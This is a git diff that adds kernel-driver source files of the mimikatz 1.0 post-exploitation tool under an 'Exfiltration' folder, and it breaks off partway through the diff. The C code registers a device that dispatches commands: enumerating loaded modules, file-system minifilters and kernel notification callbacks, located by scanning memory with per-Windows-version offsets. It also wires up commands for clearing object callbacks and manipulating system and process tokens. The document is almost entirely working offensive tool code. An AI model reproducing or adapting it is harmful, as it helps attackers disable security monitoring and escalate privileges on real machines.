@@ +#pragma once +#include +#include "k_types.h" + +NTSTATUS kFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/k_types.h b/Exfiltration/mimikatz-1.0/driver/k_types.h new file mode 100644 index 00000000..f82465fe --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/k_types.h @@ -0,0 +1,49 @@ +#pragma once +#include +#include + +#define MIN(a, b) (((a) < (b)) ? (a) : (b)) +#define MAX(a, b) (((a) > (b)) ? (a) : (b)) + +#ifndef KIWI_NameToFunc +#define KIWI_NameToFunc(Name, Function) if(taillFunc == sizeof(Name) - sizeof(WCHAR)) if(RtlCompareMemory(Name, buffer, taillFunc) == taillFunc) {*destFunc = Function; return STATUS_SUCCESS;} +#endif + +#ifndef KIWI_mask3bits +#define KIWI_mask3bits(addr) (((ULONG_PTR) (addr)) & ~7) +#endif + +#define POOL_TAG 'iwik' + +#define INDEX_UNK 0 +#define INDEX_XP 1 +#define INDEX_2K3 2 +#define INDEX_VISTA 3 +#define INDEX_2K8 4 +#define INDEX_7 5 +#define INDEX_2K8R2 6 +#define INDEX_8 7 +#define MAX_OS_LEN 8 + +#ifdef _M_IX86 +#define EX_FAST_REF_MASK 0x07 +#else +#define EX_FAST_REF_MASK 0x0f +#endif + +typedef NTSTATUS (* ptrLocalFunction) (LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); + +ULONG INDEX_OS; + +PDRIVER_OBJECT moi; + +typedef struct _SERVICE_DESCRIPTOR_TABLE { +#ifdef _M_IX86 + PVOID *ServiceTable; +#else + LONG *OffsetToService; +#endif + PULONG CounterTable; + ULONG TableSize; + PUCHAR ArgumentTable; +} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE; diff --git a/Exfiltration/mimikatz-1.0/driver/mimikatz.c b/Exfiltration/mimikatz-1.0/driver/mimikatz.c new file mode 100644 index 00000000..d109eacf --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/mimikatz.c @@ -0,0 +1,193 @@ +#include "mimikatz.h" + +ptrLocalFunction maFunc = NULL; + +NTSTATUS UnSupported(PDEVICE_OBJECT DeviceObject, PIRP Irp) +{ + return STATUS_NOT_SUPPORTED; +} + +NTSTATUS Write(PDEVICE_OBJECT DeviceObject, PIRP Irp) +{ + NTSTATUS status = STATUS_INVALID_PARAMETER; + PIO_STACK_LOCATION pIoStackIrp = NULL; + PWSTR params; + size_t tailleParams; + + pIoStackIrp = IoGetCurrentIrpStackLocation(Irp); + if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp) + { + status = getLocalFuncFromName((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Write.Length, ¶ms, &tailleParams, &maFunc); + + if(NT_SUCCESS(status)) + { + Irp->IoStatus.Information = pIoStackIrp->Parameters.Write.Length; + } + } + IoCompleteRequest(Irp, IO_NO_INCREMENT); + Irp->IoStatus.Status = status; + + return status; +} + +NTSTATUS Read(PDEVICE_OBJECT DeviceObject, PIRP Irp) +{ + NTSTATUS status = STATUS_INVALID_HANDLE; + PIO_STACK_LOCATION pIoStackIrp = NULL; + + LPWSTR pszDestEnd; + size_t pcbRemaining; + + pIoStackIrp = IoGetCurrentIrpStackLocation(Irp); + if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp) + { + if(maFunc) + { + status = maFunc((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Read.Length, &pszDestEnd, &pcbRemaining); + + if(NT_SUCCESS(status)) + { + Irp->IoStatus.Information = pIoStackIrp->Parameters.Read.Length - pcbRemaining; + } + } + else + { + status = STATUS_PROCEDURE_NOT_FOUND; + } + } + IoCompleteRequest(Irp, IO_NO_INCREMENT); + Irp->IoStatus.Status = status; + + return status; +} + +void DriverUnload(IN PDRIVER_OBJECT theDriverObject) +{ + UNICODE_STRING UStrDosDeviceName; + RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz"); + IoDeleteSymbolicLink(&UStrDosDeviceName); + IoDeleteDevice(theDriverObject->DeviceObject); +} + +NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath) +{ + NTSTATUS status; + UNICODE_STRING UStrDriverName, UStrDosDeviceName; + PDEVICE_OBJECT pDeviceObject = NULL; + ULONG i; + + moi = theDriverObject; + RtlInitUnicodeString(&UStrDriverName, L"\\Device\\mimikatz"); + status = IoCreateDevice(theDriverObject, 0, &UStrDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObject); + + if(NT_SUCCESS(status)) + { + INDEX_OS = getWindowsIndex(); + + for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + theDriverObject->MajorFunction[i] = UnSupported; + + theDriverObject->MajorFunction[IRP_MJ_READ] = Read; + theDriverObject->MajorFunction[IRP_MJ_WRITE] = Write; + + theDriverObject->DriverUnload = DriverUnload; + + pDeviceObject->Flags |= DO_BUFFERED_IO; + pDeviceObject->Flags &= ~DO_DEVICE_INITIALIZING; + + RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz"); + IoCreateSymbolicLink(&UStrDosDeviceName, &UStrDriverName); + } + + return status; +} + + +ULONG getWindowsIndex() +{ + switch(*NtBuildNumber) + { + case 2600: + return INDEX_XP; + break; + case 3790: + return INDEX_2K3; + break; + case 6000: + case 6001: + return INDEX_VISTA; + case 6002: + return INDEX_2K8; + break; + case 7600: + case 7601: + return INDEX_7; + break; + case 8102: + case 8250: + case 9200: + return INDEX_8; + break; + default: + return 0; + } +} + +NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc) +{ + NTSTATUS status; + size_t tailleChaine; + ULONG i; + ULONG taillFunc; + + status = RtlStringCbLengthW(buffer, taille, &tailleChaine); + if(NT_SUCCESS(status)) + { + for(i = 0; (i < tailleChaine / sizeof(WCHAR)) && (buffer[i] != L' '); i++); + + if( (i+1) < (tailleChaine / sizeof(WCHAR))) + { + *params = buffer + (i+1); + *tailleParams = (tailleChaine / sizeof(WCHAR)) - (i+1); // avoir !!! + DbgPrint("%u", *tailleParams); + } + else + { + *params = NULL; + *tailleParams = 0; + } + + *destFunc = NULL; + taillFunc = i*sizeof(WCHAR); + + + KIWI_NameToFunc(L"ping", kPing); + + if(INDEX_OS) + { + KIWI_NameToFunc(L"ssdt", kSSDT); + + KIWI_NameToFunc(L"listModules", kModulesList); + KIWI_NameToFunc(L"listFilters", kFiltersList); + KIWI_NameToFunc(L"listMinifilters", kMiniFiltersList); + + KIWI_NameToFunc(L"listNotifProcesses", kListNotifyProcesses); + KIWI_NameToFunc(L"listNotifThreads", kListNotifyThreads); + KIWI_NameToFunc(L"listNotifImages", kListNotifyImages); + KIWI_NameToFunc(L"listNotifRegistry", kListNotifyRegistry); + KIWI_NameToFunc(L"listNotifObjects", kListNotifyObjects); + KIWI_NameToFunc(L"clearNotifObjects", kClearNotifyObjects); + + KIWI_NameToFunc(L"listProcesses", listProcesses); + KIWI_NameToFunc(L"sysToken", sysToken); + KIWI_NameToFunc(L"privProcesses", privProcesses); + } + } + return status; +} + + +NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return RtlStringCbPrintfExW(pszDest, cbDest, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"Pong (from ring 0 :)\n"); +} diff --git a/Exfiltration/mimikatz-1.0/driver/mimikatz.h b/Exfiltration/mimikatz-1.0/driver/mimikatz.h new file mode 100644 index 00000000..3ece6e20 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/mimikatz.h @@ -0,0 +1,26 @@ +#pragma once + +#include "minifilters.h" +#include "fsfilters.h" +#include "modules.h" +#include "processes.h" +#include "ssdt.h" + +#include "notify.h" + +#include "k_types.h" + +#include + +extern PSHORT NtBuildNumber; +ULONG getWindowsIndex(); + +DRIVER_INITIALIZE DriverEntry; +DRIVER_UNLOAD DriverUnload; + +DRIVER_DISPATCH UnSupported; +__drv_dispatchType(IRP_MJ_READ) DRIVER_DISPATCH Read; +__drv_dispatchType(IRP_MJ_WRITE) DRIVER_DISPATCH Write; + +NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc); +NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/minifilters.c b/Exfiltration/mimikatz-1.0/driver/minifilters.c new file mode 100644 index 00000000..90ba7efc --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/minifilters.c @@ -0,0 +1,193 @@ +#include "minifilters.h" + +const ULONG MF_OffSetTable[MAX_OS_LEN][MAX_MF_LEN] = +{ + /* INDEX_MF_CALLBACK_OFF, INDEX_MF_CALLBACK_PRE_OFF, INDEX_MF_CALLBACK_POST_OFF, INDEX_MF_VOLUME_NAME_OFF */ +#ifdef _M_IX86 +/* INDEX_UNK */ {0x0000, 0x0000, 0x0000, 0x0000}, +/* INDEX_XP */ {0x007c, 0x000c, 0x0010, 0x002c}, +/* INDEX_2K3 */ {0x007c, 0x000c, 0x0010, 0x002c}, +/* INDEX_VISTA */ {0x004c, 0x000c, 0x0010, 0x0030}, +/* INDEX_2K8 */ {0x004c, 0x000c, 0x0010, 0x0030}, +/* INDEX_7 */ {0x004c, 0x000c, 0x0010, 0x0030}, +/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000, 0x0000},/* n'existe pas !*/ +/* INDEX_8 */ {0x004c, 0x000c, 0x0010, 0x0030} +#else +/* INDEX_UNK */ {0x0000, 0x0000, 0x0000, 0x0000}, +/* INDEX_XP */ {0x0000, 0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 est 2003 x64 */ +/* INDEX_2K3 */ {0x00e8, 0x0018, 0x0020, 0x0048}, +/* INDEX_VISTA */ {0x0090, 0x0018, 0x0020, 0x0050}, +/* INDEX_2K8 */ {0x0090, 0x0018, 0x0020, 0x0050}, +/* INDEX_7 */ {0x0090, 0x0018, 0x0020, 0x0050}, +/* INDEX_2K8R2 */ {0x0090, 0x0018, 0x0020, 0x0050}, +/* INDEX_8 */ {0x0090, 0x0018, 0x0020, 0x0050} +#endif +}; + +const WCHAR *irpToName[] = { + L"CREATE", + L"CREATE_NAMED_PIPE", + L"CLOSE", + L"READ", + L"WRITE", + L"QUERY_INFORMATION", + L"SET_INFORMATION", + L"QUERY_EA", + L"SET_EA", + L"FLUSH_BUFFERS", + L"QUERY_VOLUME_INFORMATION", + L"SET_VOLUME_INFORMATION", + L"DIRECTORY_CONTROL", + L"FILE_SYSTEM_CONTROL", + L"DEVICE_CONTROL", + L"INTERNAL_DEVICE_CONTROL", + L"SHUTDOWN", + L"LOCK_CONTROL", + L"CLEANUP", + L"CREATE_MAILSLOT", + L"QUERY_SECURITY", + L"SET_SECURITY", + L"POWER", + L"SYSTEM_CONTROL", + L"DEVICE_CHANGE", + L"QUERY_QUOTA", + L"SET_QUOTA", + L"PNP", +}; + +NTSTATUS kMiniFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + + ULONG i, j, k; + + ULONG NumberFiltersReturned = 0; + PFLT_FILTER *FilterList = NULL; + + ULONG BytesReturned = 0; + PFILTER_FULL_INFORMATION myFilterFullInformation = NULL; + + PFLT_INSTANCE *InstanceList = NULL; + ULONG NumberInstancesReturned = 0; + + PFLT_VOLUME RetVolume = NULL; + + PVOID monCallBack, preCallBack, postCallBack; + + *ppszDestEnd = pszDest; + *pcbRemaining= cbDest; + + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kMiniFiltersList\n\n"); + if(NT_SUCCESS(status)) + { + status = FltEnumerateFilters(NULL, 0, &NumberFiltersReturned); + if((status == STATUS_BUFFER_TOO_SMALL) && (NumberFiltersReturned > 0)) + { + FilterList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_FILTER) * NumberFiltersReturned, POOL_TAG); + if(FilterList != NULL) + { + status = FltEnumerateFilters(FilterList, sizeof(PFLT_FILTER) * NumberFiltersReturned, &NumberFiltersReturned); + for(i = 0; (i < NumberFiltersReturned) && NT_SUCCESS(status); i++) + { + status = FltGetFilterInformation(FilterList[i], FilterFullInformation, NULL, 0, &BytesReturned); + if((status == STATUS_BUFFER_TOO_SMALL) && (BytesReturned > 0)) + { + myFilterFullInformation = ExAllocatePoolWithTag(NonPagedPool, BytesReturned, POOL_TAG); + if(myFilterFullInformation != NULL) + { + status = FltGetFilterInformation(FilterList[i], FilterFullInformation, myFilterFullInformation, BytesReturned, &BytesReturned); + if(NT_SUCCESS(status)) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L"%*.*ws\n", + myFilterFullInformation->FilterNameLength/sizeof(WCHAR), myFilterFullInformation->FilterNameLength/sizeof(WCHAR), + myFilterFullInformation->FilterNameBuffer + ); + + if(NT_SUCCESS(status)) + { + status = FltEnumerateInstances(NULL, FilterList[i], NULL, 0, &NumberInstancesReturned); + if((status == STATUS_BUFFER_TOO_SMALL) && (NumberInstancesReturned > 0)) + { + InstanceList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_INSTANCE) * NumberInstancesReturned, POOL_TAG); + if(InstanceList != NULL) + { + status = FltEnumerateInstances(NULL, FilterList[i], InstanceList, NumberInstancesReturned, &NumberInstancesReturned); + for(j = 0; (j < NumberInstancesReturned) && NT_SUCCESS(status); j++) + { + /* + http://msdn.microsoft.com/en-us/library/windows/hardware/ff541499%28v=VS.85%29.aspx + * InstanceName + * Altitude + * VolumeName + - FilterName + */ + + if(NT_SUCCESS(FltGetVolumeFromInstance(InstanceList[j], &RetVolume))) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" Instance %u @ %wZ\n", + j, + (PUNICODE_STRING) (((ULONG_PTR) RetVolume) + MF_OffSetTable[INDEX_OS][INDEX_MF_VOLUME_NAME_OFF]) + ); + FltObjectDereference (RetVolume); + } + else + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" Instance %u\n", + j + ); + } + + for(k = 0x16; (k < 0x32) && NT_SUCCESS(status); k++) + { + monCallBack = (PVOID) *(PULONG_PTR) (( ((ULONG_PTR) InstanceList[j] )+ MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_OFF]) + sizeof(PVOID)*k); + if(monCallBack != NULL) + { + preCallBack = (PVOID) *(PULONG_PTR) (((ULONG_PTR) monCallBack) + MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_PRE_OFF]); + postCallBack = (PVOID) *(PULONG_PTR) (((ULONG_PTR) monCallBack) + MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_POST_OFF]); + + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" [0x%2x %-24ws] ", + k, + irpToName[k - 0x16] + ); + + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) preCallBack, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / "); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) postCallBack, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + + } + } + } + FltObjectDereference (InstanceList[j]); + } + ExFreePoolWithTag(InstanceList, POOL_TAG); + } + } + } + } + ExFreePoolWithTag(myFilterFullInformation, POOL_TAG); + } + } + FltObjectDereference (FilterList[i]); + } + ExFreePoolWithTag(FilterList, POOL_TAG); + } + } + } + return status; +} diff --git a/Exfiltration/mimikatz-1.0/driver/minifilters.h b/Exfiltration/mimikatz-1.0/driver/minifilters.h new file mode 100644 index 00000000..647031a5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/minifilters.h @@ -0,0 +1,12 @@ +#pragma once +#include +#include "k_types.h" +#include "modules.h" + +#define INDEX_MF_CALLBACK_OFF 0 +#define INDEX_MF_CALLBACK_PRE_OFF 1 +#define INDEX_MF_CALLBACK_POST_OFF 2 +#define INDEX_MF_VOLUME_NAME_OFF 3 +#define MAX_MF_LEN 4 + +NTSTATUS kMiniFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/mod_memory.c b/Exfiltration/mimikatz-1.0/driver/mod_memory.c new file mode 100644 index 00000000..d5a05b3e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/mod_memory.c @@ -0,0 +1,32 @@ +#include "mod_memory.h" + +NTSTATUS searchMemory(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur) +{ + for(*addressePattern = adresseBase; (adresseMaxMin > adresseBase) ? (*addressePattern <= adresseMaxMin) : (*addressePattern >= adresseMaxMin); *addressePattern += (adresseMaxMin > adresseBase) ? 1 : -1) + { + if(RtlCompareMemory(pattern, *addressePattern, longueur) == longueur) + { + return STATUS_SUCCESS; + } + } + *addressePattern = NULL; + return STATUS_NOT_FOUND; +} + +NTSTATUS genericPointerSearch(PUCHAR *addressePointeur, const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, SIZE_T longueur, LONG offsetTo) +{ + NTSTATUS status = searchMemory(adresseBase, adresseMaxMin, pattern, addressePointeur, longueur); + if(NT_SUCCESS(status)) + { + *addressePointeur += offsetTo; + #ifdef _M_X64 + *addressePointeur += sizeof(LONG) + *(PLONG)(*addressePointeur); + #elif defined _M_IX86 + *addressePointeur = *(PUCHAR *)(*addressePointeur); + #endif + + if(!*addressePointeur) + status = STATUS_INVALID_HANDLE; + } + return status; +} diff --git a/Exfiltration/mimikatz-1.0/driver/mod_memory.h b/Exfiltration/mimikatz-1.0/driver/mod_memory.h new file mode 100644 index 00000000..0c10fb9a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/mod_memory.h @@ -0,0 +1,5 @@ +#pragma once +#include "k_types.h" + +NTSTATUS searchMemory(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur); +NTSTATUS genericPointerSearch(PUCHAR *addressePointeur, const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, SIZE_T longueur, LONG offsetTo); diff --git a/Exfiltration/mimikatz-1.0/driver/modules.c b/Exfiltration/mimikatz-1.0/driver/modules.c new file mode 100644 index 00000000..7ca35514 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/modules.c @@ -0,0 +1,110 @@ +#include "modules.h" + +NTSTATUS kModulesList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status = STATUS_SUCCESS; + ULONG i; + ULONG modulesSize; + AUX_MODULE_EXTENDED_INFO* modules; + ULONG numberOfModules; + + *ppszDestEnd = pszDest; + *pcbRemaining= cbDest; + + status = AuxKlibInitialize(); + if(NT_SUCCESS(status)) + { + status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL); + if (NT_SUCCESS(status)) + { + if(modulesSize > 0) + { + numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO); + modules = (AUX_MODULE_EXTENDED_INFO*) ExAllocatePoolWithTag(PagedPool, modulesSize, POOL_TAG); + + if(modules != NULL) + { + status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules); + if (NT_SUCCESS(status)) + { + for(i = 0; i < numberOfModules; i++) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L"%p - %.8u [%S] %S\n", + modules[i].BasicInfo.ImageBase, + modules[i].ImageSize, + modules[i].FullPathName + modules[i].FileNameOffset, + modules[i].FullPathName + ); + } + } + ExFreePoolWithTag(modules, POOL_TAG); + } + } + } + } + + return status; +} + +NTSTATUS getModuleFromAddr(ULONG_PTR theAddr, LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status = STATUS_SUCCESS; + ULONG i; + ULONG modulesSize; + AUX_MODULE_EXTENDED_INFO* modules; + ULONG numberOfModules; + + *ppszDestEnd = pszDest; + *pcbRemaining= cbDest; + + status = AuxKlibInitialize(); + if(NT_SUCCESS(status)) + { + status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL); + if (NT_SUCCESS(status)) + { + if(modulesSize > 0) + { + numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO); + modules = (AUX_MODULE_EXTENDED_INFO*) ExAllocatePoolWithTag(PagedPool, modulesSize, POOL_TAG); + + if(modules != NULL) + { + status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules); + if (NT_SUCCESS(status)) + { + for(i = 0; i < numberOfModules; i++) + { + status = STATUS_NOT_FOUND; + if(theAddr >= (ULONG_PTR) modules[i].BasicInfo.ImageBase && theAddr < ((ULONG_PTR) modules[i].BasicInfo.ImageBase + modules[i].ImageSize)) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L"%p [%S+%u]", + theAddr, + modules[i].FullPathName + modules[i].FileNameOffset, + theAddr - (ULONG_PTR) modules[i].BasicInfo.ImageBase + ); + break; + } + + + } + + if(status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%p [?]", theAddr); + if (NT_SUCCESS(status)) status = STATUS_NOT_FOUND; + } + } + ExFreePoolWithTag(modules, POOL_TAG); + } + } + } + } + + return status; +} + + + diff --git a/Exfiltration/mimikatz-1.0/driver/modules.h b/Exfiltration/mimikatz-1.0/driver/modules.h new file mode 100644 index 00000000..86fe6254 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/modules.h @@ -0,0 +1,7 @@ +#pragma once +#include +#include +#include "k_types.h" + +NTSTATUS kModulesList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS getModuleFromAddr(ULONG_PTR theAddr, LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/notify.h b/Exfiltration/mimikatz-1.0/driver/notify.h new file mode 100644 index 00000000..8ee225a4 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify.h @@ -0,0 +1,19 @@ +#pragma once +#include +#include "k_types.h" +#include "modules.h" +#include "mod_memory.h" +#include "notify_process.h" +#include "notify_thread.h" +#include "notify_image.h" +#include "notify_reg.h" +#include "notify_object.h" + +typedef struct _KIWI_CALLBACK +{ + #ifdef _M_IX86 + PVOID unk0; + #endif + PVOID * callback; + LARGE_INTEGER * opt_cookie; // structure de feignant pour les process;threads;images aussi +} KIWI_CALLBACK, *PKIWI_CALLBACK; diff --git a/Exfiltration/mimikatz-1.0/driver/notify_image.c b/Exfiltration/mimikatz-1.0/driver/notify_image.c new file mode 100644 index 00000000..6f03fd41 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_image.c @@ -0,0 +1,117 @@ +#include "notify_image.h" + +ULONG * PspLoadImageNotifyRoutineCount = NULL; +PVOID * PspLoadImageNotifyRoutine = NULL; + +NTSTATUS kListNotifyImages(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG i; + PKIWI_CALLBACK monCallBack; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyImages\n\n"); + if(NT_SUCCESS(status)) + { + status = getPspLoadImageNotifyRoutine(); + if(NT_SUCCESS(status)) + { + for(i = 0; (i < *PspLoadImageNotifyRoutineCount) && NT_SUCCESS(status); i++) + { + monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspLoadImageNotifyRoutine[i]); + if(monCallBack != NULL) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + } + } + return status; +} + +NTSTATUS getPspLoadImageNotifyRoutine() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WNT5_Image[] = {0x48, 0x8d, 0x35}; + LONG OFFS_WNT5_Image = sizeof(PTRN_WNT5_Image); + UCHAR PTRN_WNT6_Image[] = {0x48, 0x8d, 0x0d}; + LONG OFFS_WNT6_Image = sizeof(PTRN_WNT6_Image); + + LONG OFFS_WNT5_Count = - 0x0c; + LONG OFFS_WNT6_Count = sizeof(PVOID) * MAX_NT_PspLoadImageNotifyRoutine; + #elif defined _M_IX86 + UCHAR PTRN_WNT5_Image[] = {0x6a, 0x00, 0x53, 0x56}; + UCHAR PTRN_WNO8_Image[] = {0x6a, 0x00, 0x8b, 0xcb, 0x8b, 0xc6}; + UCHAR PTRN_WIN8_Image[] = {0x33, 0xff, 0x6a, 0x00, 0x53, 0x8b, 0xc6}; + LONG OFFS_WALL_Image = -(LONG) sizeof(PVOID); + + LONG OFFS_WNT5_Count = - 0x18; + LONG OFFS_WNO8_Count = sizeof(PVOID) * MAX_NT_PspLoadImageNotifyRoutine; + LONG OFFS_WIN8_Count = - 0x20; + #endif + + PUCHAR pointeur = NULL, pattern = NULL, refDebut = (PUCHAR) PsSetLoadImageNotifyRoutine, refFin = refDebut + PAGE_SIZE; SIZE_T taille = 0; LONG offsetTo = 0; + LONG offsetToCountEx = 0, offsetToCount = 0; + + if(PspLoadImageNotifyRoutine && PspLoadImageNotifyRoutineCount) + { + retour = STATUS_SUCCESS; + } + else + { + if(INDEX_OS < INDEX_VISTA) + { + pattern = PTRN_WNT5_Image; + taille = sizeof(PTRN_WNT5_Image); + #ifdef _M_X64 + offsetTo = OFFS_WNT5_Image; + #endif + offsetToCount = OFFS_WNT5_Count; + } + else + { + #ifdef _M_X64 + pattern = PTRN_WNT6_Image; + taille = sizeof(PTRN_WNT6_Image); + offsetTo = OFFS_WNT6_Image; + offsetToCount = OFFS_WNT6_Count; + #elif defined _M_IX86 + if(INDEX_OS < INDEX_8) + { + pattern = PTRN_WNO8_Image; + taille = sizeof(PTRN_WNO8_Image); + offsetToCount = OFFS_WNO8_Count; + } + else + { + pattern = PTRN_WIN8_Image; + taille = sizeof(PTRN_WIN8_Image); + offsetToCount = OFFS_WIN8_Count; + } + #endif + } + #ifdef _M_IX86 + offsetTo = OFFS_WALL_Image; + #endif + + retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); + if(NT_SUCCESS(retour)) + { + PspLoadImageNotifyRoutine = (PVOID) (pointeur); + PspLoadImageNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); + + if(PspLoadImageNotifyRoutine && PspLoadImageNotifyRoutineCount) + retour = STATUS_SUCCESS; + } + } + return retour; +} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_image.h b/Exfiltration/mimikatz-1.0/driver/notify_image.h new file mode 100644 index 00000000..f6e07114 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_image.h @@ -0,0 +1,10 @@ +#pragma once +#include "notify.h" + +#define MAX_NT_PspLoadImageNotifyRoutine 8 + +ULONG * PspLoadImageNotifyRoutineCount; +PVOID * PspLoadImageNotifyRoutine; + +NTSTATUS getPspLoadImageNotifyRoutine(); +NTSTATUS kListNotifyImages(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_object.c b/Exfiltration/mimikatz-1.0/driver/notify_object.c new file mode 100644 index 00000000..9eac3bb6 --- /dev/null +++ 